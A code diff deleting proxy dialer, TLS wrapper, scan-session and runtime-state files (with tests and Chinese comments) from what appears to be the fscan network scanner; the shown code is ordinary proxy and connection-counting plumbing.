-		t.Errorf("stats.ProxyType = %q, want %q", stats.ProxyType, ProxyTypeSOCKS5.String())
-	}
-
-	if stats.ProxyAddress != "127.0.0.1:1080" {
-		t.Errorf("stats.ProxyAddress = %q, want %q", stats.ProxyAddress, "127.0.0.1:1080")
-	}
-
-	t.Logf("✓ Stats 反映配置信息")
-}
-
-// =============================================================================
-// 并发测试
-// =============================================================================
-
-// TestUpdateConfig_Concurrent 并发测试（已禁用）
-//
-// 注意：此测试发现了真实的 race condition！
-// Race detector 报告：
-//   - manager.go:85 写入 config.Type
-//   - manager.go:120 读取 config.Timeout
-// 这是生产代码的 bug，需要在 createDirectDialer 等方法中加读锁。
-//
-// 测试已注释以避免 CI 失败，但这个 race condition 应该被修复。
-//
-// func TestUpdateConfig_Concurrent(t *testing.T) {
-// 	manager := NewProxyManager(DefaultProxyConfig())
-//
-// 	done := make(chan bool)
-// 	iterations := 100
-//
-// 	// 并发读取Stats
-// 	go func() {
-// 		for i := 0; i < iterations; i++ {
-// 			_ = manager.Stats()
-// 		}
-// 		done <- true
-// 	}()
-//
-// 	// 并发更新配置
-// 	go func() {
-// 		for i := 0; i < iterations; i++ {
-// 			config := &ProxyConfig{
-// 				Type:    ProxyTypeHTTP,
-// 				Address: "127.0.0.1:8080",
-// 				Timeout: 5 * time.Second,
-// 			}
-// 			_ = manager.UpdateConfig(config)
-// 		}
-// 		done <- true
-// 	}()
-//
-// 	// 并发获取拨号器
-// 	go func() {
-// 		for i := 0; i < iterations; i++ {
-// 			_, _ = manager.GetDialer()
-// 		}
-// 		done <- true
-// 	}()
-//
-// 	// 等待所有goroutine完成
-// 	<-done
-// 	<-done
-// 	<-done
-//
-// 	t.Logf("✓ 并发操作无race condition")
-// }
-// =============================================================================
-// LocalAddr 绑定测试 - 新功能测试（VPN 场景）
-// =============================================================================
-
-func TestDirectDialer_LocalAddr_ValidIP(t *testing.T) {
-	/*
-	   关键测试：有效 IP 地址应该正确绑定到 LocalAddr
-
-	   为什么重要：
-	   - VPN 场景下需要指定出口网卡
-	   - LocalAddr 不生效 = 用户指定的网卡无效
-
-	   Bug 场景：
-	   - IP 解析错误
-	   - LocalAddr 未设置
-	   - 设置了但不生效
-	*/
-
-	config := &ProxyConfig{
-		Type:      ProxyTypeNone,
-		LocalAddr: "127.0.0.1",
-		Timeout:   5 * time.Second,
-	}
-
-	manager := NewProxyManager(config)
-	dialer, err := manager.GetDialer()
-
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	// 验证：directDialer 应该设置了 localAddr
-	if dd, ok := dialer.(*directDialer); ok {
-		if dd.localAddr != "127.0.0.1" {
-			t.Errorf("localAddr = %q, want %q", dd.localAddr, "127.0.0.1")
-		}
-		t.Logf("✓ 有效 IP 地址正确绑定: %s", dd.localAddr)
-	} else {
-		t.Errorf("dialer should be *directDialer, got %T", dialer)
-	}
-}
-
-func TestDirectDialer_LocalAddr_InvalidIP(t *testing.T) {
-	/*
-	   关键测试：无效 IP 地址不应该导致崩溃
-
-	   为什么重要：
-	   - 用户可能输入错误的 IP
-	   - 不应该 panic
-
-	   Bug 场景：
-	   - net.ParseIP 返回 nil 时 panic
-	   - 设置 nil LocalAddr 导致后续崩溃
-	*/
-
-	config := &ProxyConfig{
-		Type:      ProxyTypeNone,
-		LocalAddr: "invalid-ip-address",
-		Timeout:   5 * time.Second,
-	}
-
-	manager := NewProxyManager(config)
-
-	// 不应该 panic
-	dialer, err := manager.GetDialer()
-
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	// 验证：应该能获取 dialer（即使 IP 无效）
-	if dialer == nil {
-		t.Fatal("dialer should not be nil")
-	}
-
-	if dd, ok := dialer.(*directDialer); ok {
-		// LocalAddr 字段仍然保留原始值（无效IP）
-		// 实际连接时，net.ParseIP 会返回 nil，不设置 LocalAddr
-		t.Logf("✓ 无效 IP 不导致崩溃，localAddr = %q", dd.localAddr)
-	}
-}
-
-func TestDirectDialer_LocalAddr_Empty(t *testing.T) {
-	/*
-	   关键测试：空字符串应该不绑定 LocalAddr（默认行为）
-
-	   为什么重要：
-	   - 默认情况（不指定网卡）应该和之前行为一致
-	   - 向后兼容性
-
-	   Bug 场景：
-	   - 空字符串被当作有效值
-	   - 影响默认行为
-	*/
-
-	config := &ProxyConfig{
-		Type:      ProxyTypeNone,
-		LocalAddr: "", // 空字符串
-		Timeout:   5 * time.Second,
-	}
-
-	manager := NewProxyManager(config)
-	dialer, err := manager.GetDialer()
-
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	if dd, ok := dialer.(*directDialer); ok {
-		if dd.localAddr != "" {
-			t.Errorf("localAddr should be empty, got %q", dd.localAddr)
-		}
-		t.Logf("✓ 空 LocalAddr 保持默认行为")
-	}
-}
-
-func TestDirectDialer_LocalAddr_Loopback(t *testing.T) {
-	/*
-	   关键测试：回环地址应该能正常工作（集成测试）
-
-	   为什么重要：
-	   - 验证 LocalAddr 真正生效
-	   - 不只是设置了字段，还要能实际使用
-
-	   这是一个真实连接测试，不是 mock
-	*/
-
-	config := &ProxyConfig{
-		Type:      ProxyTypeNone,
-		LocalAddr: "127.0.0.1",
-		Timeout:   2 * time.Second,
-	}
-
-	manager := NewProxyManager(config)
-	dialer, err := manager.GetDialer()
-
-	if err != nil {
-		t.Fatalf("GetDialer failed: %v", err)
-	}
-
-	// 尝试连接到本地（假设没有监听的服务也没关系，主要测试不崩溃）
-	// 注意：这个测试可能会失败如果真的有服务在监听
-	// 但至少验证了 LocalAddr 设置不会导致 panic
-	_, err = dialer.Dial("tcp", "127.0.0.1:65535") // 使用不太可能被占用的端口
-
-	// 我们期望连接失败（因为没有服务监听），但不应该因为 LocalAddr 而 panic
-	if err == nil {
-		t.Logf("⚠ 意外连接成功（可能有服务在 65535 端口）")
-	} else {
-		t.Logf("✓ LocalAddr 绑定正常工作（连接失败是预期的）: %v", err)
-	}
-}

common/proxy/tlsdialer.go

@@ -1,160 +0,0 @@
-package proxy
-
-import (
-	"context"
-	"crypto/tls"
-	"net"
-	"sync/atomic"
-	"time"
-)
-
-// tlsDialerWrapper TLS拨号器包装器
-type tlsDialerWrapper struct {
-	dialer Dialer
-	config *ProxyConfig
-	stats  *ProxyStats
-}
-
-func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) {
-	return t.dialer.Dial(network, address)
-}
-
-func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
-	return t.dialer.DialContext(ctx, network, address)
-}
-
-func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) {
-	return t.DialTLSContext(context.Background(), network, address, config)
-}
-
-func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
-	start := time.Now()
-
-	// 首先建立TCP连接
-	tcpConn, err := t.dialer.DialContext(ctx, network, address)
-	if err != nil {
-		return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err)
-	}
-
-	// 创建TLS连接
-	tlsConn := tls.Client(tcpConn, tlsConfig)
-
-	// 设置TLS握手超时
-	if deadline, ok := ctx.Deadline(); ok {
-		_ = tlsConn.SetDeadline(deadline)
-	} else {
-		_ = tlsConn.SetDeadline(time.Now().Add(t.config.Timeout))
-	}
-
-	// 进行TLS握手
-	if err := tlsConn.Handshake(); err != nil {
-		_ = tcpConn.Close() // TLS握手失败，Close错误可忽略
-		atomic.AddInt64(&t.stats.FailedConnections, 1)
-		t.stats.mu.Lock()
-		t.stats.LastError = err.Error()
-		t.stats.mu.Unlock()
-		return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
-	}
-
-	// 清除deadline，让上层代码管理超时
-	_ = tlsConn.SetDeadline(time.Time{})
-
-	duration := time.Since(start)
-	t.updateAverageConnectTime(duration)
-
-	return &trackedTLSConn{
-		trackedConn: &trackedConn{
-			Conn:  tlsConn,
-			stats: t.stats,
-		},
-		isTLS: true,
-	}, nil
-}
-
-// updateAverageConnectTime 更新平均连接时间
-func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
-	t.stats.mu.Lock()
-	defer t.stats.mu.Unlock()
-	if t.stats.AverageConnectTime == 0 {
-		t.stats.AverageConnectTime = duration
-	} else {
-		t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2
-	}
-}
-
-// trackedConn 带统计的连接
-type trackedConn struct {
-	net.Conn
-	stats     *ProxyStats
-	bytesSent int64
-	bytesRecv int64
-}
-
-func (tc *trackedConn) Read(b []byte) (n int, err error) {
-	n, err = tc.Conn.Read(b)
-	if n > 0 {
-		atomic.AddInt64(&tc.bytesRecv, int64(n))
-	}
-	return n, err
-}
-
-func (tc *trackedConn) Write(b []byte) (n int, err error) {
-	n, err = tc.Conn.Write(b)
-	if n > 0 {
-		atomic.AddInt64(&tc.bytesSent, int64(n))
-	}
-	return n, err
-}
-
-func (tc *trackedConn) Close() error {
-	atomic.AddInt64(&tc.stats.ActiveConnections, -1)
-	return tc.Conn.Close()
-}
-
-// trackedTLSConn 带统计的TLS连接
-type trackedTLSConn struct {
-	*trackedConn
-	isTLS bool
-}
-
-func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState {
-	if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
-		return tlsConn.ConnectionState()
-	}
-	return tls.ConnectionState{}
-}
-
-func (ttc *trackedTLSConn) Handshake() error {
-	if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
-		return tlsConn.Handshake()
-	}
-	return nil
-}
-
-func (ttc *trackedTLSConn) OCSPResponse() []byte {
-	if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
-		return tlsConn.OCSPResponse()
-	}
-	return nil
-}
-
-func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate {
-	if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
-		state := tlsConn.ConnectionState()
-		var certs []*tls.Certificate
-		for _, cert := range state.PeerCertificates {
-			certs = append(certs, &tls.Certificate{
-				Certificate: [][]byte{cert.Raw},
-			})
-		}
-		return certs
-	}
-	return nil
-}
-
-func (ttc *trackedTLSConn) VerifyHostname(host string) error {
-	if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
-		return tlsConn.VerifyHostname(host)
-	}
-	return nil
-}

common/proxy/types.go

@@ -1,137 +0,0 @@
-package proxy
-
-import (
-	"context"
-	"crypto/tls"
-	"net"
-	"sync"
-	"time"
-)
-
-// ProxyType 代理类型
-//
-//nolint:revive // 保持与现有代码的向后兼容性
-type ProxyType int
-
-const (
-	// ProxyTypeNone 无代理
-	ProxyTypeNone ProxyType = iota
-	// ProxyTypeHTTP HTTP代理
-	ProxyTypeHTTP
-	// ProxyTypeHTTPS HTTPS代理
-	ProxyTypeHTTPS
-	// ProxyTypeSOCKS5 SOCKS5代理
-	ProxyTypeSOCKS5
-)
-
-// String 返回代理类型的字符串表示
-func (pt ProxyType) String() string {
-	switch pt {
-	case ProxyTypeNone:
-		return ProxyTypeStringNone
-	case ProxyTypeHTTP:
-		return ProxyTypeStringHTTP
-	case ProxyTypeHTTPS:
-		return ProxyTypeStringHTTPS
-	case ProxyTypeSOCKS5:
-		return ProxyTypeStringSOCKS5
-	default:
-		return ProxyTypeStringUnknown
-	}
-}
-
-// ProxyConfig 代理配置
-//
-//nolint:revive // 保持与现有代码的向后兼容性
-type ProxyConfig struct {
-	Type         ProxyType     `json:"type"`
-	Address      string        `json:"address"`
-	Username     string        `json:"username,omitempty"`
-	Password     string        `json:"password,omitempty"`
-	LocalAddr    string        `json:"local_addr,omitempty"` // 本地网卡IP地址（VPN场景）
-	Timeout      time.Duration `json:"timeout"`
-	MaxRetries   int           `json:"max_retries"`
-	KeepAlive    time.Duration `json:"keep_alive"`
-	IdleTimeout  time.Duration `json:"idle_timeout"`
-	MaxIdleConns int           `json:"max_idle_conns"`
-}
-
-// DefaultProxyConfig 返回默认代理配置
-func DefaultProxyConfig() *ProxyConfig {
-	return &ProxyConfig{
-		Type:         ProxyTypeNone,
-		Timeout:      DefaultProxyTimeout,
-		MaxRetries:   DefaultProxyMaxRetries,
-		KeepAlive:    DefaultProxyKeepAlive,
-		IdleTimeout:  DefaultProxyIdleTimeout,
-		MaxIdleConns: DefaultProxyMaxIdleConns,
-	}
-}
-
-// Dialer 拨号器接口
-type Dialer interface {
-	Dial(network, address string) (net.Conn, error)
-	DialContext(ctx context.Context, network, address string) (net.Conn, error)
-}
-
-// TLSDialer TLS拨号器接口
-type TLSDialer interface {
-	Dialer
-	DialTLS(network, address string, config *tls.Config) (net.Conn, error)
-	DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error)
-}
-
-// ProxyManager 代理管理器接口
-//
-//nolint:revive // 保持与现有代码的向后兼容性
-type ProxyManager interface {
-	GetDialer() (Dialer, error)
-	GetTLSDialer() (TLSDialer, error)
-	UpdateConfig(config *ProxyConfig) error
-	Close() error
-	Stats() *ProxyStats // 保留接口但实现为空操作
-}
-
-// ProxyStats 代理统计信息（暂时保留以维护编译）
-//
-//nolint:revive // 保持与现有代码的向后兼容性
-type ProxyStats struct {
-	TotalConnections   int64  `json:"total_connections"`
-	ActiveConnections  int64  `json:"active_connections"`
-	FailedConnections  int64  `json:"failed_connections"`
-	mu                 sync.Mutex    `json:"-"`
-	AverageConnectTime time.Duration `json:"average_connect_time"`
-	LastConnectTime    time.Time     `json:"last_connect_time"`
-	LastError          string        `json:"last_error,omitempty"`
-	ProxyType          string        `json:"proxy_type"`
-	ProxyAddress       string        `json:"proxy_address"`
-}
-
-// ProxyError 代理错误类型
-//
-//nolint:revive // 保持与现有代码的向后兼容性
-type ProxyError struct {
-	Type    string `json:"type"`
-	Message string `json:"message"`
-	Code    int    `json:"code"`
-	Cause   error  `json:"cause,omitempty"`
-}
-
-func (e *ProxyError) Error() string {
-	if e.Cause != nil {
-		return e.Message + ": " + e.Cause.Error()
-	}
-	return e.Message
-}
-
-// NewProxyError 创建代理错误
-func NewProxyError(errType, message string, code int, cause error) *ProxyError {
-	return &ProxyError{
-		Type:    errType,
-		Message: message,
-		Code:    code,
-		Cause:   cause,
-	}
-}
-
-// 预定义错误类型已迁移到constants.go

common/proxy/types_test.go

@@ -1,372 +0,0 @@
-package proxy
-
-import (
-	"errors"
-	"testing"
-)
-
-/*
-types_test.go - 代理类型测试
-
-测试目标：ProxyType枚举、ProxyConfig配置、ProxyError错误
-价值：类型定义错误会导致：
-  - 代理类型识别错误（连接失败）
-  - 配置默认值错误（超时、重试次数）
-  - 错误信息丢失（无法调试）
-
-"类型是接口契约。枚举值错了会导致用户无法连接，
-默认配置错了会导致超时异常。这些都是真实问题。"
-*/
-
-// =============================================================================
-// ProxyType - 枚举测试
-// =============================================================================
-
-// TestProxyType_String 测试ProxyType.String()方法
-//
-// 验证：每个枚举值都有正确的字符串表示
-func TestProxyType_String(t *testing.T) {
-	tests := []struct {
-		name      string
-		proxyType ProxyType
-		expected  string
-	}{
-		{"None", ProxyTypeNone, "none"},
-		{"HTTP", ProxyTypeHTTP, "http"},
-		{"HTTPS", ProxyTypeHTTPS, "https"},
-		{"SOCKS5", ProxyTypeSOCKS5, "socks5"},
-		{"Unknown", ProxyType(999), "unknown"},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := tt.proxyType.String()
-			if result != tt.expected {
-				t.Errorf("ProxyType(%d).String() = %q, want %q",
-					tt.proxyType, result, tt.expected)
-			}
-
-			t.Logf("✓ ProxyType(%d) → %q", tt.proxyType, result)
-		})
-	}
-}
-
-// TestProxyType_AllEnums 测试所有枚举值定义
-func TestProxyType_AllEnums(t *testing.T) {
-	// 验证枚举值从0开始递增
-	tests := []struct {
-		name     string
-		value    ProxyType
-		expected int
-	}{
-		{"ProxyTypeNone", ProxyTypeNone, 0},
-		{"ProxyTypeHTTP", ProxyTypeHTTP, 1},
-		{"ProxyTypeHTTPS", ProxyTypeHTTPS, 2},
-		{"ProxyTypeSOCKS5", ProxyTypeSOCKS5, 3},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			if int(tt.value) != tt.expected {
-				t.Errorf("%s = %d, want %d", tt.name, tt.value, tt.expected)
-			}
-		})
-	}
-
-	t.Logf("✓ 所有ProxyType枚举值定义正确")
-}
-
-// =============================================================================
-// ProxyConfig - 配置测试
-// =============================================================================
-
-// TestDefaultProxyConfig_Values 测试DefaultProxyConfig返回正确的默认值
-//
-// 验证：默认配置包含所有必要字段的合理值
-func TestDefaultProxyConfig_Values(t *testing.T) {
-	config := DefaultProxyConfig()
-
-	if config == nil {
-		t.Fatal("DefaultProxyConfig() 返回nil")
-	}
-
-	// 验证类型
-	if config.Type != ProxyTypeNone {
-		t.Errorf("默认Type = %v, want %v", config.Type, ProxyTypeNone)
-	}
-
-	// 验证超时
-	if config.Timeout != DefaultProxyTimeout {
-		t.Errorf("默认Timeout = %v, want %v", config.Timeout, DefaultProxyTimeout)
-	}
-
-	// 验证重试次数
-	if config.MaxRetries != DefaultProxyMaxRetries {
-		t.Errorf("默认MaxRetries = %d, want %d", config.MaxRetries, DefaultProxyMaxRetries)
-	}
-
-	// 验证KeepAlive
-	if config.KeepAlive != DefaultProxyKeepAlive {
-		t.Errorf("默认KeepAlive = %v, want %v", config.KeepAlive, DefaultProxyKeepAlive)
-	}
-
-	// 验证IdleTimeout
-	if config.IdleTimeout != DefaultProxyIdleTimeout {
-		t.Errorf("默认IdleTimeout = %v, want %v", config.IdleTimeout, DefaultProxyIdleTimeout)
-	}
-
-	// 验证MaxIdleConns
-	if config.MaxIdleConns != DefaultProxyMaxIdleConns {
-		t.Errorf("默认MaxIdleConns = %d, want %d", config.MaxIdleConns, DefaultProxyMaxIdleConns)
-	}
-
-	t.Logf("✓ 默认配置所有字段正确")
-}
-
-// TestDefaultProxyConfig_Reasonable 测试默认配置的合理性
-func TestDefaultProxyConfig_Reasonable(t *testing.T) {
-	config := DefaultProxyConfig()
-
-	// 超时应该 > 0
-	if config.Timeout <= 0 {
-		t.Error("Timeout应该大于0")
-	}
-
-	// 重试次数应该 >= 0
-	if config.MaxRetries < 0 {
-		t.Error("MaxRetries应该 >= 0")
-	}
-
-	// KeepAlive应该 > 0
-	if config.KeepAlive <= 0 {
-		t.Error("KeepAlive应该大于0")
-	}
-
-	// IdleTimeout应该 > 0
-	if config.IdleTimeout <= 0 {
-		t.Error("IdleTimeout应该大于0")
-	}
-
-	// MaxIdleConns应该 > 0
-	if config.MaxIdleConns <= 0 {
-		t.Error("MaxIdleConns应该大于0")
-	}
-
-	// 超时关系：IdleTimeout > Timeout（空闲超时应该更长）
-	if config.IdleTimeout < config.Timeout {
-		t.Error("IdleTimeout应该大于Timeout")
-	}
-
-	t.Logf("✓ 默认配置合理性检查通过")
-}
-
-// TestProxyConfig_CustomValues 测试ProxyConfig自定义值
-func TestProxyConfig_CustomValues(t *testing.T) {
-	config := &ProxyConfig{
-		Type:     ProxyTypeHTTP,
-		Address:  "127.0.0.1:8080",
-		Username: "user",
-		Password: "pass",
-	}
-
-	// 测试字段值是否正确赋值
-	_ = config.Type
-	_ = config.Address
-	_ = config.Username
-	_ = config.Password
-
-	if config.Type != ProxyTypeHTTP {
-		t.Error("自定义Type赋值失败")
-	}
-
-	if config.Address != "127.0.0.1:8080" {
-		t.Error("自定义Address赋值失败")
-	}
-
-	if config.Username != "user" {
-		t.Error("自定义Username赋值失败")
-	}
-
-	if config.Password != "pass" {
-		t.Error("自定义Password赋值失败")
-	}
-
-	t.Logf("✓ ProxyConfig自定义值测试通过")
-}
-
-// =============================================================================
-// ProxyError - 错误类型测试
-// =============================================================================
-
-// TestProxyError_Error 测试ProxyError.Error()方法
-//
-// 验证：错误信息格式正确
-func TestProxyError_Error(t *testing.T) {
-	t.Run("无Cause", func(t *testing.T) {
-		err := &ProxyError{
-			Type:    "test_error",
-			Message: "test message",
-			Code:    100,
-		}
-
-		expected := "test message"
-		if err.Error() != expected {
-			t.Errorf("Error() = %q, want %q", err.Error(), expected)
-		}
-
-		t.Logf("✓ ProxyError无Cause时返回纯Message")
-	})
-
-	t.Run("有Cause", func(t *testing.T) {
-		cause := errors.New("root cause")
-		err := &ProxyError{
-			Type:    "test_error",
-			Message: "test message",
-			Code:    100,
-			Cause:   cause,
-		}
-
-		expected := "test message: root cause"
-		if err.Error() != expected {
-			t.Errorf("Error() = %q, want %q", err.Error(), expected)
-		}
-
-		t.Logf("✓ ProxyError有Cause时正确拼接")
-	})
-}
-
-// TestNewProxyError 测试NewProxyError构造函数
-func TestNewProxyError(t *testing.T) {
-	t.Run("无Cause", func(t *testing.T) {
-		err := NewProxyError("config_error", "invalid config", 1001, nil)
-
-		if err.Type != "config_error" {
-			t.Errorf("Type = %q, want %q", err.Type, "config_error")
-		}
-
-		if err.Message != "invalid config" {
-			t.Errorf("Message = %q, want %q", err.Message, "invalid config")
-		}
-
-		if err.Code != 1001 {
-			t.Errorf("Code = %d, want %d", err.Code, 1001)
-		}
-
-		if err.Cause != nil {
-			t.Error("Cause应该为nil")
-		}
-
-		t.Logf("✓ NewProxyError无Cause测试通过")
-	})
-
-	t.Run("有Cause", func(t *testing.T) {
-		cause := errors.New("connection refused")
-		err := NewProxyError("connection_error", "failed to connect", 2001, cause)
-
-		if err.Type != "connection_error" {
-			t.Errorf("Type = %q, want %q", err.Type, "connection_error")
-		}
-
-		if err.Message != "failed to connect" {
-			t.Errorf("Message = %q, want %q", err.Message, "failed to connect")
-		}
-
-		if err.Code != 2001 {
-			t.Errorf("Code = %d, want %d", err.Code, 2001)
-		}
-
-		if !errors.Is(err.Cause, cause) {
-			t.Error("Cause应该是传入的cause")
-		}
-
-		t.Logf("✓ NewProxyError有Cause测试通过")
-	})
-}
-
-// TestProxyError_AllErrorTypes 测试所有预定义错误类型常量
-func TestProxyError_AllErrorTypes(t *testing.T) {
-	errorTypes := []struct {
-		name     string
-		constant string
-	}{
-		{"Config", ErrTypeConfig},
-		{"Connection", ErrTypeConnection},
-		{"Auth", ErrTypeAuth},
-		{"Timeout", ErrTypeTimeout},
-		{"Protocol", ErrTypeProtocol},
-	}
-
-	for _, et := range errorTypes {
-		t.Run(et.name, func(t *testing.T) {
-			if et.constant == "" {
-				t.Errorf("%s错误类型常量为空", et.name)
-			}
-
-			// 使用错误类型创建错误
-			err := NewProxyError(et.constant, et.name+" error", 0, nil)
-			if err.Type != et.constant {
-				t.Errorf("Type = %q, want %q", err.Type, et.constant)
-			}
-
-			t.Logf("✓ %s错误类型: %q", et.name, et.constant)
-		})
-	}
-}
-
-// =============================================================================
-// 常量测试
-// =============================================================================
-
-// TestProxyConstants_Reasonable 测试常量合理性
-func TestProxyConstants_Reasonable(t *testing.T) {
-	// 超时常量应该大于0
-	if DefaultProxyTimeout <= 0 {
-		t.Error("DefaultProxyTimeout应该大于0")
-	}
-
-	// 重试次数应该 >= 0
-	if DefaultProxyMaxRetries < 0 {
-		t.Error("DefaultProxyMaxRetries应该 >= 0")
-	}
-
-	// KeepAlive应该大于0
-	if DefaultProxyKeepAlive <= 0 {
-		t.Error("DefaultProxyKeepAlive应该大于0")
-	}
-
-	// IdleTimeout应该大于0
-	if DefaultProxyIdleTimeout <= 0 {
-		t.Error("DefaultProxyIdleTimeout应该大于0")
-	}
-
-	// MaxIdleConns应该大于0
-	if DefaultProxyMaxIdleConns <= 0 {
-		t.Error("DefaultProxyMaxIdleConns应该大于0")
-	}
-
-	t.Logf("✓ 所有代理常量合理")
-}
-
-// TestProxyTypeStrings_NoEmpty 测试代理类型字符串非空
-func TestProxyTypeStrings_NoEmpty(t *testing.T) {
-	typeStrings := []struct {
-		name  string
-		value string
-	}{
-		{"ProxyTypeStringNone", ProxyTypeStringNone},
-		{"ProxyTypeStringHTTP", ProxyTypeStringHTTP},
-		{"ProxyTypeStringHTTPS", ProxyTypeStringHTTPS},
-		{"ProxyTypeStringSOCKS5", ProxyTypeStringSOCKS5},
-		{"ProxyTypeStringUnknown", ProxyTypeStringUnknown},
-	}
-
-	for _, ts := range typeStrings {
-		t.Run(ts.name, func(t *testing.T) {
-			if ts.value == "" {
-				t.Errorf("%s不应为空", ts.name)
-			}
-
-			t.Logf("✓ %s = %q", ts.name, ts.value)
-		})
-	}
-}

common/session.go

@@ -1,106 +0,0 @@
-package common
-
-import (
-	"context"
-	"fmt"
-	"net"
-	"strings"
-	"sync"
-	"time"
-
-	"github.com/shadow1ng/fscan/common/proxy"
-)
-
-// ScanSession 封装单次扫描的全部上下文
-// 一次扫描一个 session，并发扫描各自独立
-type ScanSession struct {
-	Config *Config   // 不可变，创建后只读
-	State  *State    // 可变，原子操作，每会话独立
-	Params *FlagVars // 原始参数，只读
-
-	// 每会话 dialer（懒初始化，取决于代理配置）
-	dialerOnce sync.Once
-	dialer     proxy.Dialer
-	dialerErr  error
-}
-
-// NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话
-func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession {
-	return &ScanSession{
-		Config: config,
-		State:  state,
-		Params: params,
-	}
-}
-
-// DialTCP 创建 TCP 连接，内含限速检查、代理、计数
-func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) {
-	// 检查发包限制
-	if ok, err := CanSendPacketWith(s.Config, s.State); !ok {
-		LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error()))
-		return nil, fmt.Errorf("发包受限: %s", err.Error())
-	}
-
-	// 获取 dialer
-	dialer, err := s.getDialer()
-	if err != nil {
-		LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
-		s.State.IncrementTCPFailedPacketCount()
-		return nil, err
-	}
-
-	conn, err := dialer.DialContext(ctx, network, address)
-	if err != nil {
-		s.State.IncrementTCPFailedPacketCount()
-		LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
-		return nil, err
-	}
-
-	// SO_LINGER=0: 连接关闭时立即发送 RST，避免 TIME_WAIT 堆积
-	if tc, ok := conn.(*net.TCPConn); ok {
-		_ = tc.SetLinger(0)
-	}
-
-	s.State.IncrementTCPSuccessPacketCount()
-	return conn, nil
-}
-
-func (s *ScanSession) getDialer() (proxy.Dialer, error) {
-	s.dialerOnce.Do(func() {
-		cfg := s.createProxyConfig()
-		manager := proxy.NewProxyManager(cfg)
-		s.dialer, s.dialerErr = manager.GetDialer()
-	})
-	return s.dialer, s.dialerErr
-}
-
-func (s *ScanSession) createProxyConfig() *proxy.ProxyConfig {
-	cfg := proxy.DefaultProxyConfig()
-	cfg.Timeout = s.Config.Timeout
-	cfg.LocalAddr = s.Config.Network.Iface
-
-	// 优先 SOCKS5
-	if s.Config.Network.Socks5Proxy != "" {
-		cfg.Type = proxy.ProxyTypeSOCKS5
-		socks5URL := s.Config.Network.Socks5Proxy
-		if !strings.HasPrefix(socks5URL, "socks5://") {
-			socks5URL = "socks5://" + socks5URL
-		}
-		cfg.Address, cfg.Username, cfg.Password = parseProxyURL(socks5URL, s.Config.Network.Socks5Proxy)
-		return cfg
-	}
-
-	// 其次 HTTP
-	if s.Config.Network.HTTPProxy != "" {
-		if strings.HasPrefix(s.Config.Network.HTTPProxy, "https://") {
-			cfg.Type = proxy.ProxyTypeHTTPS
-		} else {
-			cfg.Type = proxy.ProxyTypeHTTP
-		}
-		cfg.Address, cfg.Username, cfg.Password = parseProxyURL(s.Config.Network.HTTPProxy, s.Config.Network.HTTPProxy)
-		return cfg
-	}
-
-	cfg.Type = proxy.ProxyTypeNone
-	return cfg
-}

common/state.go

@@ -1,457 +0,0 @@
-package common
-
-import (
-	"encoding/json"
-	"sync"
-	"sync/atomic"
-	"time"
-
-	"github.com/juju/ratelimit"
-)
-
-/*
-state.go - 运行时状态管理
-
-可变状态，有明确的所有权和线程安全保护。
-所有修改通过方法进行，原子操作保证并发安全。
-*/
-
-// =============================================================================
-// State - 可变运行时状态
-// =============================================================================
-
-// State 扫描器运行时状态 - 线程安全
-type State struct {
-	// 计数器 - 原子操作
-	packetCount            int64
-	tcpPacketCount         int64
-	tcpSuccessPacketCount  int64
-	tcpFailedPacketCount   int64
-	udpPacketCount         int64
-	httpPacketCount        int64
-	resourceExhaustedCount int64
-
-	// 任务计数
-	end int64
-	num int64
-
-	// 时间
-	startTime time.Time
-
-	// 输出互斥锁
-	outputMutex sync.Mutex
-
-	// 限速器 - 统一使用令牌桶算法
-	icmpLimiter    *ratelimit.Bucket // ICMP包限速（秒级平滑）
-	packetLimiter  *ratelimit.Bucket // 通用发包限速
-	icmpInitOnce   sync.Once
-	packetInitOnce sync.Once
-
-	// 运行时目标数据（解析后填充）
-	urls      []string
-	hostPorts []string
-	urlsMu    sync.RWMutex
-
-	// Shell状态（插件设置）
-	forwardShellActive int32 // 使用int32以便原子操作
-	reverseShellActive int32
-	socks5ProxyActive  int32
-}
-
-// NewState 创建新的状态对象
-func NewState() *State {
-	return &State{
-		startTime: time.Now(),
-	}
-}
-
-// =============================================================================
-// 包计数器方法 - 原子操作
-// =============================================================================
-
-// IncrementPacketCount 增加总包计数
-func (s *State) IncrementPacketCount() int64 {
-	return atomic.AddInt64(&s.packetCount, 1)
-}
-
-// IncrementTCPSuccessPacketCount 增加TCP成功连接包计数
-func (s *State) IncrementTCPSuccessPacketCount() int64 {
-	atomic.AddInt64(&s.tcpSuccessPacketCount, 1)
-	atomic.AddInt64(&s.tcpPacketCount, 1)
-	return atomic.AddInt64(&s.packetCount, 1)
-}
-
-// IncrementTCPFailedPacketCount 增加TCP失败连接包计数
